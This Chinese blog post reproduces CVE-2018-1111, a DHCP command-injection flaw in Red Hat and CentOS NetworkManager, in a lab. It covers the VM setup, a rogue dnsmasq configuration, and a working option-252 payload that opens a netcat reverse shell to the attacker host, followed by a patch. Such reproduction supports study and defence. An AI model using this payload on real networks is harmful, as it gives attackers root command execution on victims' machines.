• CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入


    0×01 前言

    2018年5月,在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞(CVE-2018-1111),该漏洞目前已经进行了修补。攻击者可以通过本地网络上的恶意DHCP服务器或使用恶意的虚假DHCP响应来利用此漏洞进行攻击,一旦攻击成功,则可以在配置了DHCP的NetworkManager的系统上以root权限执行任意命令。

    0×02 漏洞影响面

    影响版本

    • Red Hat Enterprise Linux Server 6
    • Red Hat Enterprise Linux Server 7
    • CentOS 6
    • CentOS 7

    0×03 环境搭建

    攻击机:kali linux   ip:192.168.1.14
    受害机:centos7    ip:192.168.1.15

     一、配置虚拟网络

    打开VM虚拟机-菜单栏-编辑-虚拟网络编辑器,设置仅主机模式(关掉dhcp,设置ip)。

    将 攻击机 和 受害机 网络配置成仅主机模式:

     二、搭建dhcp服务

     先在kali下设置一下网络

    配置ip
    ifconfig eth0 192.168.1.11 netmask 255.255.255.0
    配置网管
    route add default gw 192.168.1.11

     

     在当前目录新建一个dnsmasq.conf文件,填入以下内容进行配置:

    bind-interfaces
    
    interface=eth0
    
    except-interface=lo
    
    dhcp-range=192.168.1.20,192.168.1.30,12h
    
    dhcp-option=3,192.168.1.11
    
    dhcp-option=6,192.168.1.11
    
    log-queries
    
    log-facility=/var/log/dnsmasq.log

    参数解释

    dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间
    
    dhcp-option: 表示指定给 DHCP 客户端的选项信息
    
    log-facility: 表示日志记录器

    其中配置文件中包括的 option 取值及含义如下:

    3: 设置网关地址选项
    
    6: 设置 DNS 服务器地址选项
    
    252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url

    payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。

    这里 dnsmasq.conf中的dhcp-range设置:

    为客户端分配 192.168.1.20-192.168.1.30/24 这个 ip 地址范围,租约时间为 12h。

      

    0×04 命令注入

    利用dnsmasq伪造dns服务器,命令执行 payload 如下:

    dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.1.11 6666 #"

      

    监听6666端口:

    nc -lvp 6666

      重启CentOS的网络服务,然后shell就反弹回来了:

    我们按一下centos的ip地址,在我们制定的ip段内(192.168.20-192.168.1.30)

    0×05 修复方案

    终端下执行

    更新dhcp
     yum -y update dhclient 
    查看更新日志
     rpm -qa --changelog dhclient  | grep CVE-2018
            - Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character

     

  • 相关阅读:
    JAVA中线程池启动定时任务
    JAVA线程池的创建
    JAVA多线程售票问题
    设计模式之一 ---单例模式
    JAVAWeb使用POI做导出Excel
    ThreadLocal实现线程范围内共享
    线程的互斥与同步通信
    Spring-task-timer定时器
    万年历---java版
    linux sed 批量替换字符串
  • 原文地址:https://www.cnblogs.com/dggsec/p/10162777.html
Copyright © 2020-2023  润新知